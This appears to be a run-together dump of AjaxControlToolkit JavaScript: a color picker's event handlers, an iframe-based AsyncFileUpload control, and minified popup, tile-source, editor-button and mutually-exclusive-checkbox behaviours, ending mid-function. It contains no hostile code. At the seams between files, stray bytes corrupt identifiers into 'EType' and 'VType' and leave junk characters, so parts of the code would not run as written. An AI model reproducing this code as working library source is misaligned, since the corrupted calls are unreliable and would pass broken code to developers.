        if (Sys.Browser.agent === Sys.Browser.Opera && this._blur.get_isPending()) {
            this._blur.cancel();
        }
        this._popupMouseDown = false;
        this._focus();
    },

    _cell_onmouseover: function(e) {
        e.stopPropagation();
        var target = e.target;
        this._showSample(target.color);
    },
    _cell_onmouseout: function(e) {
        e.stopPropagation();
        this._restoreSample();
    },
    _cell_onclick: function(e) {
        e.stopPropagation();
        e.preventDefault();

        if (!this._enabled) {
            return;
        }

        var target = e.target;

        this.set_selectedColor(target.color);
        this._blur.post(true);
        this.raiseColorSelectionChanged();
    },

    _button_onclick: function(e) {
        e.preventDefault();
        e.stopPropagation();

        if (!this._enabled) {
            return;
        }

        if (!this._isOpen) {
            this.show();
        } else {
            this.hide();
        }
        this._focus();
        // make sure we clean up the flag due to issues with alert/alt-tab/etc
        this._popupMouseDown = false;
    },
    _button_onblur: function(e) {
        if (!this._enabled) {
            return;
        }
        if (!this._popupMouseDown) {
            this.hide();
        }
        // make sure we clean up the flag due to issues with alert/alt-tab/etc
        this._popupMouseDown = false;
    },
    _button_onkeypress: function(e) {
        if (!this._enabled) {
            return;
        }
        if (e.charCode === Sys.UI.Key.esc) {
            e.stopPropagation();
            e.preventDefault();
            this.hide();
        }
        // make sure we clean up the flag due to issues with alert/alt-tab/etc
        this._popupMouseDown = false;
    }
}
AjaxControlToolkit.ColorPickerBehavior.registerClass('AjaxControlToolkit.ColorPickerBehavior', AjaxControlToolkit.BehaviorBase);
EType.registerNamespace("AjaxControlToolkit");

AjaxControlToolkit.AsyncFileUpload = function(element) {
    AjaxControlToolkit.AsyncFileUpload.initializeBase(this, [element]);

    this._hiddenField = null;
    this._inputFile = null;
    this._innerTB = null;
    this._postBackUrl = "";
    this._formName = "";
    this._iframe = null;
    this._waitTimer = null;
    this._completeBackColor = "";
    this._uploadingBackColor = "";
    this._errorBackColor = "";
    this._throbber = null;

    this._onchange$delegate = null;
    this._onload$delegate = null;
    this._app_onload$delegate = Function.createDelegate(this, this._app_onload);
    this._onmouseup$delegate = null;
}

AjaxControlToolkit.AsyncFileUpload.prototype = {

    get_throbber: function() {
        return this._throbber;
    },
    set_throbber: function(value) {
        this._throbber = value;
    },

    get_completeBackColor: function() {
        return this._completeBackColor;
    },
    set_completeBackColor: function(value) {
        this._completeBackColor = value;
    },

    get_errorBackColor: function() {
        return this._errorBackColor;
    },
    set_errorBackColor: function(value) {
        this._errorBackColor = value;
    },

    get_uploadingBackColor: function() {
        return this._uploadingBackColor;
    },
    set_uploadingBackColor: function(value) {
        this._uploadingBackColor = value;
    },

    get_inputFile: function() {
        return this._inputFile;
    },
    set_inputFile: function(value) {
        this._inputFile = value;
    },

    get_hiddenField: function() {
        return this._hiddenField;
    },
    set_hiddenField: function(value) {
        this._hiddenField = value;
    },

    get_innerTB: function() {
        return this._innerTB;
    },
    set_innerTB: function(value) {
        this._innerTB = value;
    },

    get_postBackUrl: function() {
        return this._postBackUrl;
    },
    set_postBackUrl: function(value) {
        this._postBackUrl = value;
    },

    get_formName: function() {
        return this._formName;
    },
    set_formName: function(value) {
        this._formName = value;
    },

    add_uploadStarted: function(handler) {
        this.get_events().addHandler("uploadStarted", handler);
    },
    remove_uploadStarted: function(handler) {
        this.get_events().removeHandler("uploadStarted", handler);
    },
    raiseUploadStarted: function(e) {
        var eh = this.get_events().getHandler("uploadStarted");
        if (eh) {
            return eh(this, e);
        }
        return true;
    },

    add_uploadComplete: function(handler) {
        this.get_events().addHandler("uploadComplete", handler);
    },
    remove_uploadComplete: function(handler) {
        this.get_events().removeHandler("uploadComplete", handler);
    },
    raiseUploadComplete: function(e) {
        var eh = this.get_events().getHandler("uploadComplete");
        if (eh) {
            eh(this, e);
        }
    },

    add_uploadError: function(handler) {
        this.get_events().addHandler("uploadError", handler);
    },
    remove_uploadError: function(handler) {
        this.get_events().removeHandler("uploadError", handler);
    },
    raiseUploadError: function(e) {
        var eh = this.get_events().getHandler("uploadError");
        if (eh) {
            eh(this, e);
            return true;
        }
        return false;
    },

    setThrobber: function(value) {
        if (this.get_throbber() != null) {
            this.get_throbber().style.display = value ? "" : "none";
        }
    },

    _onStart: function(fileName) {
        var valid = this.raiseUploadStarted(new AjaxControlToolkit.AsyncFileUploadEventArgs(fileName, null, null, null));
        if (typeof valid == 'undefined') {
            valid = true;
        }

        return valid;
    },

    initialize: function() {
        AjaxControlToolkit.AsyncFileUpload.callBaseMethod(this, "initialize");
        Sys.Application.add_load(this._app_onload$delegate);
        this._iframeName = this.get_element() + "_iframe";
        this.setThrobber(false);
    },

    dispose: function() {
        Sys.Application.remove_load(this._app_onload$delegate);
        if (this._onchange$delegate != null) {
            $common.removeHandlers(this._inputFile, {
                change: this._onchange$delegate
            });
            this._onchange$delegate = null;
        }
        if (this._onmouseup$delegate != null) {
            $common.removeHandlers(this._inputFile, {
                mouseup: this._onmouseup$delegate
            });
            this._onmouseup$delegate = null;
        }
        this._removeIframe();
        AjaxControlToolkit.AsyncFileUpload.callBaseMethod(this, "dispose");
    },

    _onmouseup: function() {
        var inputFile = this._inputFile;
        setTimeout(function() { inputFile.blur(); }, 0);
        return true;
    },

    _app_onload: function(sender, e) {
        this.setThrobber(false);
        if (this._inputFile != null) {
            if (this._onchange$delegate == null) {
                this._onchange$delegate = Function.createDelegate(this, this._onchange);
                $addHandlers(this._inputFile, {
                    change: this._onchange$delegate
                });
            }
            if (Sys.Browser.agent == Sys.Browser.Firefox) {
                this._inputFile.size = 0;
                var width = this._inputFile.offsetWidth;
                this._inputFile.style.width = "";
                while (this._inputFile.offsetWidth < width) {
                    this._inputFile.size++;
                }
            }
            if (this._innerTB != null) {
                this._inputFile.blur();
                var inputFile = this._inputFile;
                setTimeout(function() { inputFile.blur(); }, 0);
                this._innerTB.style.width = (this._inputFile.offsetWidth - 107) + "px";
                this._inputFile.parentNode.style.width = this._inputFile.offsetWidth + "px";
                if (Sys.Browser.agent == Sys.Browser.InternetExplorer) {
                    this._onmouseup$delegate = Function.createDelegate(this, this._onmouseup);
                    $addHandlers(this._inputFile, {
                        mouseup: this._onmouseup$delegate
                    });
                }
            }
        }
    },

    _removeIframe: function() {
        this._removeTimer();
        if (this._iframe != null) {
            if (this._onload$delegate != null) {
                $common.removeHandlers(this._iframe, {
                    load: this._onload$delegate
                });
                this._onload$delegate = null;
            }
            document.body.removeChild(this._iframe);
            this._iframe = null;
        }
    },

    _removeTimer: function() {
        if (this._waitTimer != null) {
            window.clearTimeout(this._waitTimer);
            this._waitTimer = null;
        }
    },

    _onError: function(error) {
        var unhandledException = AjaxControlToolkit.Resources.AsyncFileUpload_UnhandledException;
        this.setThrobber(false);

        if (this.get_errorBackColor() != "") {
            if (this._innerTB != null) {
                this._innerTB.style.backgroundColor = this.get_errorBackColor();
            } else {
                this._inputFile.style.backgroundColor = this.get_errorBackColor();
            }
        }
        if (!this.raiseUploadError(new AjaxControlToolkit.AsyncFileUploadEventArgs(this._inputFile.value, null, null, error))) {
            alert(unhandledException + ": " + error);
        }
    },

    _onchange: function(e) {
        var value = this._inputFile.value;
        if (value == "") {
            return;
        }
        if (this._innerTB != null) {
            this._innerTB.value = value;
        }
        if (this._hiddenField != null) {
            this._hiddenField.value = value;
        }

        try {
            if (this._iframe == null) {
                this._onload$delegate = Function.createDelegate(this, this._onload);
                var iframe = document.createElement("IFRAME");
                iframe.width = "0";
                iframe.height = "0";
                iframe.style.display = "none";
                iframe.src = "about:blank";
                iframe.id = this._iframeName;
                iframe.name = this._iframeName;
                $addHandlers(iframe, {
                    load: this._onload$delegate
                });
                this._iframe = iframe;
                document.body.appendChild(this._iframe);
                iframe.contentWindow.name = this._iframeName;
            } else {
                this._removeIframe();
                var internalErrorMessage = AjaxControlToolkit.Resources.AsyncFileUpload_InternalErrorMessage;
                this._onError(internalErrorMessage);
            }
        } catch (ex) {
            this._onError(ex.message);
        }
    },

    _stopLoad: function(result) {
        var mainForm = document.getElementById(this._formName);
        this._removeTimer();
        this.setThrobber(false);
        mainForm.target = "_top";
        mainForm.action = this._postBackUrl;
        var length;
        var contentType = "";
        var temp = result.split("------");
        if (temp.length > 0) {
            if (temp[0] == "error") {
                this._onError(temp[1]);
                return;
            }
            length = parseInt(temp[0]);
        }
        if (temp.length > 1) {
            contentType = temp[1];
        }
        if (this.get_completeBackColor() != "") {
            if (this._innerTB != null) {
                this._innerTB.style.backgroundColor = this.get_completeBackColor();
            } else {
                this._inputFile.style.backgroundColor = this.get_completeBackColor();
            }
        }
        this.raiseUploadComplete(new AjaxControlToolkit.AsyncFileUploadEventArgs(this._inputFile.value, length, contentType, null));
    },

    _onload: function(e) {
        var cleanup = true;
        var uploader = this;
        var mainForm = document.getElementById(this._formName);
        try {
            var frameDocument = this._iframe.contentWindow.document;
            if (frameDocument == null || frameDocument.location == null) {
                var e = { "message": AjaxControlToolkit.Resources.AsyncFileUpload_UploadingProblem };
                throw (e);
            } else if (frameDocument.location.href == 'about:blank') {
                this._removeTimer();
                if (this.get_uploadingBackColor() != "") {
                    if (this._innerTB != null) {
                        this._innerTB.style.backgroundColor = this.get_uploadingBackColor();
                    } else {
                        this._inputFile.style.backgroundColor = this.get_uploadingBackColor();
                    }
                }

                var valid = this._onStart(this._inputFile.value);
                if (valid) {
                    mainForm.action = this._postBackUrl + '?AsyncFileUploadID=' + this.get_element().id + '&rnd=' + Math.random().toString().replace(/\./g, "");
                    mainForm.target = this._iframeName;
                    cleanup = false;
                    this.setThrobber(true);
                    setTimeout(function() {
                        mainForm.submit();
                        uploader._waitTimer = setTimeout(function() { uploader._wait() }, 100);
                    }, 0);
                    return true;
                }
            } else {
                //----------------------------------------
                if (frameDocument.body.innerHTML == "") {
                    return true;
                }
//                if (this._waitTimer == null) {
//                    setTimeout(function() { uploader._removeIframe(); }, 100);
//                    return true;
//                }
                //----------------------------------------
                var result = frameDocument.getElementById(this.get_element().id);
                var length;
                var contentType = "";
                if (result != null) {
                    var temp = result.innerHTML.split("------");
                    if (temp.length > 0) {
                        if (temp[0] == "error") {
                            var e = { "message": temp[1] };
                            throw (e);
                        }
                        length = parseInt(temp[0]);
                    }
                    if (temp.length > 1) {
                        contentType = temp[1];
                    }
                } else {
                    var serverError = AjaxControlToolkit.Resources.AsyncFileUpload_UnknownServerError;
                    function replace_func(p0, p1) {
                        serverError = p1;
                        return "";
                    }
                    frameDocument.body.innerHTML.replace(/Exception\]:([^\n\r]+)[\n\r]/, replace_func);
                    var exMessage = AjaxControlToolkit.Resources.AsyncFileUpload_ServerResponseError + ": '" + serverError + "'";
                    var ret = confirm(exMessage + "\n\n" + AjaxControlToolkit.Resources.AsyncFileUpload_ConfirmToSeeErrorPage);
                    if (ret) {
                        var handle = window.open("", "NotFoundInAnswer", "toolbar=0,status=1,scrollbars=1,resizable=1,width=600,height=400");
                        function onOpen() {
                            try {
                                if (!handle.document)
                                    setTimeout(onOpen, 100);
                            }
                            catch (e) { return; }
                            var _doc = handle.document;
                            _doc.open();
                            _doc.write("<body>" + frameDocument.body.innerHTML + "</body>");
                            _doc.close();
                        }
                        setTimeout(onOpen, 0);
                    }
                    var e = { "message": exMessage };
                    throw (e);
                }

                this._removeTimer();
                mainForm.target = "_top";
                mainForm.action = this._postBackUrl;
                if (this.get_completeBackColor() != "") {
                    if (this._innerTB != null) {
                        this._innerTB.style.backgroundColor = this.get_completeBackColor();
                    } else {
                        this._inputFile.style.backgroundColor = this.get_completeBackColor();
                    }
                }
                this.setThrobber(false);
                this.raiseUploadComplete(new AjaxControlToolkit.AsyncFileUploadEventArgs(this._inputFile.value, length, contentType, null));
            }
        }
        catch (ex) {
            this._removeTimer();
            mainForm.target = "_top";
            mainForm.action = this._postBackUrl;
            this._onError(ex.message);
        }
        finally {
            if (cleanup) {
                setTimeout(function() { uploader._removeIframe(); }, 100);
            }
        }
    },

    _wait: function() {
        if (this._waitTimer == null) {
            return;
        }
        var uploader = this;
        try {
            var frameDocument = this._iframe.contentWindow.document;
            var location = frameDocument.location;
            var href = location.href;
            this._waitTimer = setTimeout(function() { uploader._wait() }, 100);
        } catch (ex) {
            setTimeout(function() { uploader._removeIframe(); }, 100);
            setTimeout(function() { uploader._onError(AjaxControlToolkit.Resources.AsyncFileUpload_UploadingProblem); }, 0);
            this._waitTimer = null;
        }
    }
}

AjaxControlToolkit.AsyncFileUpload.registerClass("AjaxControlToolkit.AsyncFileUpload", AjaxControlToolkit.ControlBase);

AjaxControlToolkit.AsyncFileUploadEventArgs = function(fileName, length, contentType, errorMessage) {
    if (arguments.length != 4) throw Error.parameterCount();

    //Calling the base class constructor
    AjaxControlToolkit.AsyncFileUploadEventArgs.initializeBase(this);
    this._fileName = fileName;
    this._length = length;
    this._contentType = contentType;
    this._errorMessage = errorMessage;
}

AjaxControlToolkit.AsyncFileUploadEventArgs.prototype =
{
    get_fileName: function() {
        var slashPos = this._fileName.lastIndexOf("/");
        var backSlashPos = this._fileName.lastIndexOf("\\");

        var fileName = this._fileName.substr(((slashPos > backSlashPos) ? slashPos : backSlashPos) + 1);
        return fileName;
    },
    get_path: function() {
        return this._fileName;
    },
    get_length: function() {
        return this._length;
    },
    get_contentType: function() {
    return this._contentType;
    },
    get_errorMessage: function() {
        return this._errorMessage;
    }
}

AjaxControlToolkit.AsyncFileUploadEventArgs.registerClass('AjaxControlToolkit.AsyncFileUploadEventArgs', Sys.EventArgs);VType.registerNamespace("AjaxControlToolkit.Seadragon");AjaxControlToolkit.Seadragon.TileSource=function(c,b,g,d,f,e){var a=this;a.aspectRatio=c/b;a.dimensions=new AjaxControlToolkit.Seadragon.Point(c,b);a.minLevel=f?f:0;a.maxLevel=e?e:Math.ceil(Math.log(Math.max(c,b))/Math.log(2));a.tileSize=g?g:0;a.tileOverlap=d?d:0};AjaxControlToolkit.Seadragon.TileSource.prototype={getLevelScale:function(a){return 1/(1<<this.maxLevel-a)},getNumTiles:function(c){var a=this,b=a.getLevelScale(c),d=Math.ceil(b*a.dimensions.x/a.tileSize),e=Math.ceil(b*a.dimensions.y/a.tileSize);return new AjaxControlToolkit.Seadragon.Point(d,e)},getPixelRatio:function(b){var a=this.dimensions.times(this.getLevelScale(b)),c=1/a.x,d=1/a.y;return new AjaxControlToolkit.Seadragon.Point(c,d)},getTileAtPoint:function(c,d){var a=this,b=d.times(a.dimensions.x).times(a.getLevelScale(c)),e=Math.floor(b.x/a.tileSize),f=Math.floor(b.y/a.tileSize);return new AjaxControlToolkit.Seadragon.Point(e,f)},getTileBounds:function(j,f,g){var a=this,c=a.dimensions.times(a.getLevelScale(j)),h=f===0?0:a.tileSize*f-a.tileOverlap,i=g===0?0:a.tileSize*g-a.tileOverlap,d=a.tileSize+(f===0?1:2)*a.tileOverlap,e=a.tileSize+(g===0?1:2)*a.tileOverlap;d=Math.min(d,c.x-h);e=Math.min(e,c.y-i);var b=1/c.x;return new AjaxControlToolkit.Seadragon.Rect(h*b,i*b,d*b,e*b)},getTileUrl:function(){throw new Error("Method not implemented.");},tileExists:function(a,c,d){var b=this.getNumTiles(a);return a>=this.minLevel&&a<=this.maxLevel&&c>=0&&d>=0&&c<b.x&&d<b.y}};AjaxControlToolkit.Seadragon.TileSource.registerClass("AjaxControlToolkit.Seadragon.TileSource",null,Sys.IDisposable);Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.Bold=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.Bold.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.Bold.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Bold.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("bold",false,null)},checkState:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Bold.callBaseMethod(this,"checkState"))return false;return this._designPanel._queryCommandState("bold")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.Bold.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Bold",AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);�,Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.PopupBehavior=function(c){var b=null,a=this;AjaxControlToolkit.PopupBehavior.initializeBase(a,[c]);a._x=0;a._y=0;a._positioningMode=AjaxControlToolkit.PositioningMode.Absolute;a._parentElement=b;a._parentElementID=b;a._moveHandler=b;a._firstPopup=true;a._originalParent=b;a._visible=false;a._onParentRepositionHandler=b;a._elementsWithAttachedRepositionHandlers=b;a._onShow=b;a._onShowEndedHandler=b;a._onHide=b;a._onHideEndedHandler=b};AjaxControlToolkit.PopupBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.PopupBehavior.callBaseMethod(a,"initialize");a._hidePopup();a._prepareElement();a._onShowEndedHandler=Function.createDelegate(a,a._onShowEnded);a._onHideEndedHandler=Function.createDelegate(a,a._onHideEnded)},dispose:function(){var b=null,a=this,c=a.get_element();if(c){a._visible&&a.hide();if(a._originalParent){c.parentNode.removeChild(c);a._originalParent.appendChild(c);a._originalParent=b}c._hideWindowedElementsIFrame=b}a._parentElement=b;a._onShow&&a._onShow.get_animation()&&a._onShowEndedHandler&&a._onShow.get_animation().remove_ended(a._onShowEndedHandler);a._onShowEndedHandler=b;a._onShow=b;a._onHide&&a._onHide.get_animation()&&a._onHideEndedHandler&&a._onHide.get_animation().remove_ended(a._onHideEndedHandler);a._onHideEndedHandler=b;a._onHide=b;a._onParentRepositionHandler!=b&&$removeHandler(window,"resize",a._onParentRepositionHandler);if(a._elementsWithAttachedRepositionHandlers!=b){for(var d=0;d<a._elementsWithAttachedRepositionHandlers.length;d++){$removeHandler(a._elementsWithAttachedRepositionHandlers[d],"resize",a._onParentRepositionHandler);$removeHandler(a._elementsWithAttachedRepositionHandlers[d],"scroll",a._onParentRepositionHandler)}a._elementsWithAttachedRepositionHandlers=b}a._onParentRepositionHandler=b;AjaxControlToolkit.PopupBehavior.callBaseMethod(a,"dispose")},_prepareElement:function(){var a=this,c=a.get_element();a._onParentRepositionHandler=Function.createDelegate(a,a._reposition);a._elementsWithAttachedRepositionHandlers=[];var b=c.parentNode;while(b){if(b==document.body)break;$addHandler(b,"scroll",a._onParentRepositionHandler);$addHandler(b,"resize",a._onParentRepositionHandler);a._elementsWithAttachedRepositionHandlers.push(b);b=b.parentNode}$addHandler(window,"resize",a._onParentRepositionHandler);c.style.position="absolute";$common.appendElementToFormOrBody(c)},_reposition:function(){if(!this._visible)return;this.setupPopup()},show:function(){var a=this;if(a._visible)return;var b=new Sys.CancelEventArgs;a.raiseShowing(b);if(b.get_cancel())return;a._visible=true;var c=a.get_element();$common.setVisible(c,true);a.setupPopup();if(a._onShow){$common.setVisible(c,false);a.onShow()}else a.raiseShown(Sys.EventArgs.Empty)},hide:function(){var a=this;if(!a._visible)return;var b=new Sys.CancelEventArgs;a.raiseHiding(b);if(b.get_cancel())return;a._visible=false;if(a._onHide)a.onHide();else{a._hidePopup();a._hideCleanup()}},getBounds:function(){var d=this,c=d.get_element(),j=c.offsetParent||document.documentElement,g,a;if(d._parentElement){a=$common.getBounds(d._parentElement);var i=$common.getLocation(j);g={x:a.x-i.x,y:a.y-i.y}}else{a=$common.getBounds(j);g={x:0,y:0}}var e=c.offsetWidth-(c.clientLeft?c.clientLeft*2:0),f=c.offsetHeight-(c.clientTop?c.clientTop*2:0);if(d._firstpopup){c.style.width=e+"px";d._firstpopup=false}var h,b;switch(d._positioningMode){case AjaxControlToolkit.PositioningMode.Center:b={x:Math.round(a.width/2-e/2),y:Math.round(a.height/2-f/2),altX:Math.round(a.width/2-e/2),altY:Math.round(a.height/2-f/2)};break;case AjaxControlToolkit.PositioningMode.BottomLeft:b={x:0,y:a.height,altX:a.width-e,altY:0-f};break;case AjaxControlToolkit.PositioningMode.BottomRight:b={x:a.width-e,y:a.height,altX:0,altY:0-f};break;case AjaxControlToolkit.PositioningMode.TopLeft:b={x:0,y:-c.offsetHeight,altX:a.width-e,altY:a.height};break;case AjaxControlToolkit.PositioningMode.TopRight:b={x:a.width-e,y:-c.offsetHeight,altX:0,altY:a.height};break;case AjaxControlToolkit.PositioningMode.Right:b={x:a.width,y:0,altX:-c.offsetWidth,altY:a.height-f};break;case AjaxControlToolkit.PositioningMode.Left:b={x:-c.offsetWidth,y:0,altX:a.width,altY:a.height-f};break;default:b={x:0,y:0,altX:0,altY:0}}b.x+=d._x+g.x;b.altX+=d._x+g.x;b.y+=d._y+g.y;b.altY+=d._y+g.y;h=d._verifyPosition(b,e,f,a);return new Sys.UI.Bounds(h.x,h.y,e,f)},_verifyPosition:function(a,f,e){var c=0,d=0,b=this._getWindowBounds();if(!(a.x+f>b.x+b.width||a.x<b.x))c=a.x;else{c=a.altX;if(a.altX<b.x){if(a.x>a.altX)c=a.x}else if(b.width+b.x-a.altX<f){var g=a.x>a.altX?Math.abs(b.x-a.x):b.x-a.x;if(g<f-b.width-b.x+a.altX)c=a.x}}if(!(a.y+e>b.y+b.height||a.y<b.y))d=a.y;else{d=a.altY;if(a.altY<b.y){if(b.y-a.altY>e-b.height-b.y+a.y)d=a.y}else if(b.height+b.y-a.altY<e)if(b.y-a.y<e-b.height-b.y+a.altY)d=a.y}return {x:c,y:d}},_getWindowBounds:function(){var a=this,b={x:a._getWindowScrollLeft(),y:a._getWindowScrollTop(),width:a._getWindowWidth(),height:a._getWindowHeight()};return b},_getWindowHeight:function(){var a=0;if(document.documentElement&&document.documentElement.clientHeight)a=document.documentElement.clientHeight;else if(document.body&&document.body.clientHeight)a=document.body.clientHeight;return a},_getWindowWidth:function(){var a=0;if(document.documentElement&&document.documentElement.clientWidth)a=document.documentElement.clientWidth;else if(document.body&&document.body.clientWidth)a=document.body.clientWidth;return a},_getWindowScrollTop:function(){var a=0;if(typeof window.pageYOffset=="number")a=window.pageYOffset;if(document.body&&document.body.scrollTop)a=document.body.scrollTop;else if(document.documentElement&&document.documentElement.scrollTop)a=document.documentElement.scrollTop;return a},_getWindowScrollLeft:function(){var a=0;if(typeof window.pageXOffset=="number")a=window.pageXOffset;else if(document.body&&document.body.scrollLeft)a=document.body.scrollLeft;else if(document.documentElement&&document.documentElement.scrollLeft)a=document.documentElement.scrollLeft;return a},adjustPopupPosition:function(a){var d=this.get_element();if(!a)a=this.getBounds();var b=$common.getBounds(d),c=false;if(b.x<0){a.x-=b.x;c=true}if(b.y<0){a.y-=b.y;c=true}c&&$common.setLocation(d,a)},addBackgroundIFrame:function(){var c=this,b=c.get_element();if(Sys.Browser.agent===Sys.Browser.InternetExplorer&&Sys.Browser.version<7){var a=b._hideWindowedElementsIFrame;if(!a){a=document.createElement("iframe");a.src="javascript:'<html></html>';";a.style.position="absolute";a.style.display="none";a.scrolling="no";a.frameBorder="0";a.tabIndex="-1";a.style.filter="progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)";b.parentNode.insertBefore(a,b);b._hideWindowedElementsIFrame=a;c._moveHandler=Function.createDelegate(c,c._onMove);Sys.UI.DomEvent.addHandler(b,"move",c._moveHandler)}$common.setBounds(a,$common.getBounds(b));a.style.left=b.style.left;a.style.top=b.style.top;a.style.display=b.style.display;if(b.currentStyle&&b.currentStyle.zIndex)a.style.zIndex=b.currentStyle.zIndex;else if(b.style.zIndex)a.style.zIndex=b.style.zIndex}},setupPopup:function(){var a=this,b=a.get_element(),c=a.getBounds();$common.setLocation(b,c);a.adjustPopupPosition(c);b.style.zIndex=1e3;a.addBackgroundIFrame()},_hidePopup:function(){var a=this.get_element();$common.setVisible(a,false);if(a.originalWidth){a.style.width=a.originalWidth+"px";a.originalWidth=null}},_hideCleanup:function(){var a=this,c=a.get_element();if(a._moveHandler){Sys.UI.DomEvent.removeHandler(c,"move",a._moveHandler);a._moveHandler=null}if(Sys.Browser.agent===Sys.Browser.InternetExplorer){var b=c._hideWindowedElementsIFrame;if(b)b.style.display="none"}a.raiseHidden(Sys.EventArgs.Empty)},_onMove:function(){var a=this.get_element();if(a._hideWindowedElementsIFrame){a.parentNode.insertBefore(a._hideWindowedElementsIFrame,a);a._hideWindowedElementsIFrame.style.top=a.style.top;a._hideWindowedElementsIFrame.style.left=a.style.left}},get_onShow:function(){return this._onShow?this._onShow.get_json():null},set_onShow:function(c){var a=this;if(!a._onShow){a._onShow=new AjaxControlToolkit.Animation.GenericAnimationBehavior(a.get_element());a._onShow.initialize()}a._onShow.set_json(c);var b=a._onShow.get_animation();b&&b.add_ended(a._onShowEndedHandler);a.raisePropertyChanged("onShow")},get_onShowBehavior:function(){return this._onShow},onShow:function(){var a=this;if(a._onShow){a._onHide&&a._onHide.quit();a._onShow.play()}},_onShowEnded:function(){this.adjustPopupPosition();this.addBackgroundIFrame();this.raiseShown(Sys.EventArgs.Empty)},get_onHide:function(){return this._onHide?this._onHide.get_json():null},set_onHide:function(c){var a=this;if(!a._onHide){a._onHide=new AjaxControlToolkit.Animation.GenericAnimationBehavior(a.get_element());a._onHide.initialize()}a._onHide.set_json(c);var b=a._onHide.get_animation();b&&b.add_ended(a._onHideEndedHandler);a.raisePropertyChanged("onHide")},get_onHideBehavior:function(){return this._onHide},onHide:function(){var a=this;if(a._onHide){a._onShow&&a._onShow.quit();a._onHide.play()}},_onHideEnded:function(){this._hideCleanup()},get_parentElement:function(){var a=this;if(!a._parentElement&&a._parentElementID){a.set_parentElement($get(a._parentElementID));Sys.Debug.assert(a._parentElement!=null,String.format(AjaxControlToolkit.Resources.PopupExtender_NoParentElement,a._parentElementID))}return a._parentElement},set_parentElement:function(a){this._parentElement=a;this.raisePropertyChanged("parentElement")},get_parentElementID:function(){if(this._parentElement)return this._parentElement.id;return this._parentElementID},set_parentElementID:function(a){this._parentElementID=a;this.get_isInitialized()&&this.set_parentElement($get(a))},get_positioningMode:function(){return this._positioningMode},set_positioningMode:function(a){this._positioningMode=a;this.raisePropertyChanged("positioningMode")},get_x:function(){return this._x},set_x:function(b){var a=this;if(b!=a._x){a._x=b;a._visible&&a.setupPopup();a.raisePropertyChanged("x")}},get_y:function(){return this._y},set_y:function(b){var a=this;if(b!=a._y){a._y=b;a._visible&&a.setupPopup();a.raisePropertyChanged("y")}},get_visible:function(){return this._visible},add_showing:function(a){this.get_events().addHandler("showing",a)},remove_showing:function(a){this.get_events().removeHandler("showing",a)},raiseShowing:function(b){var a=this.get_events().getHandler("showing");a&&a(this,b)},add_shown:function(a){this.get_events().addHandler("shown",a)},remove_shown:function(a){this.get_events().removeHandler("shown",a)},raiseShown:function(b){var a=this.get_events().getHandler("shown");a&&a(this,b)},add_hiding:function(a){this.get_events().addHandler("hiding",a)},remove_hiding:function(a){this.get_events().removeHandler("hiding",a)},raiseHiding:function(b){var a=this.get_events().getHandler("hiding");a&&a(this,b)},add_hidden:function(a){this.get_events().addHandler("hidden",a)},remove_hidden:function(a){this.get_events().removeHandler("hidden",a)},raiseHidden:function(b){var a=this.get_events().getHandler("hidden");a&&a(this,b)}};AjaxControlToolkit.PopupBehavior.registerClass("AjaxControlToolkit.PopupBehavior",AjaxControlToolkit.BehaviorBase);AjaxControlToolkit.PositioningMode=function(){throw Error.invalidOperation();};AjaxControlToolkit.PositioningMode.prototype={Absolute:0,Center:1,BottomLeft:2,BottomRight:3,TopLeft:4,TopRight:5,Right:6,Left:7};AjaxControlToolkit.PositioningMode.registerEnum("AjaxControlToolkit.PositioningMode");(	Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior=function(b){var a=this;AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.initializeBase(a,[b]);a._key="";a._clickHandler=Function.createDelegate(a,a._onclick)};AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.prototype={initialize:function(){AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.callBaseMethod(this,"initialize");$addHandler(this.get_element(),"click",this._clickHandler)},dispose:function(){var a=this;if(a._key){var b=AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.Keys,c=b[a._key];Array.remove(c,a);a._key=null}if(a._clickHandler){$removeHandler(a.get_element(),"click",a._clickHandler);a._clickHandler=null}AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.callBaseMethod(a,"dispose")},get_Key:function(){return this._key},set_Key:function(c){var a=this,d=AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.Keys;if(c!=a._key){if(a._key){var b=d[a._key];Array.remove(b,a._key)}a._key=c;if(c){var b=d[a._key];if(b==null)b=d[a._key]=[];Array.add(b,a)}}},_onclick:function(){var a=this,b=a.get_element(),c=AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.Keys;if(a._key&&b.checked){var d=c[a._key],e=a;Array.forEach(d,function(a){if(a!=e){a.get_element().checked=false;$common.tryFireEvent(a.get_element(),"change")}})}a.raiseChecked(new AjaxControlToolkit.MutuallyExclusiveCheckBoxEventArgs(b,a._key))},add_checked:function(a){this.get_events().addHandler("checked",a)},remove_checked:function(a){this.get_events().removeHandler("checked",a)},raiseChecked:function(b){var a=this.get_events().getHandler("checked");a&&a(this,b)}};AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.registerClass("AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior",AjaxControlToolkit.BehaviorBase);AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.Keys={};AjaxControlToolkit.MutuallyExclusiveCheckBoxEventArgs=function(a,b){AjaxControlToolkit.MutuallyExclusiveCheckBoxEventArgs.initializeBase(this);this._key=b;this._checkbox=a};AjaxControlToolkit.MutuallyExclusiveCheckBoxEventArgs.prototype={get_checkbox:function(){return this._checkbox},get_key:function(){return 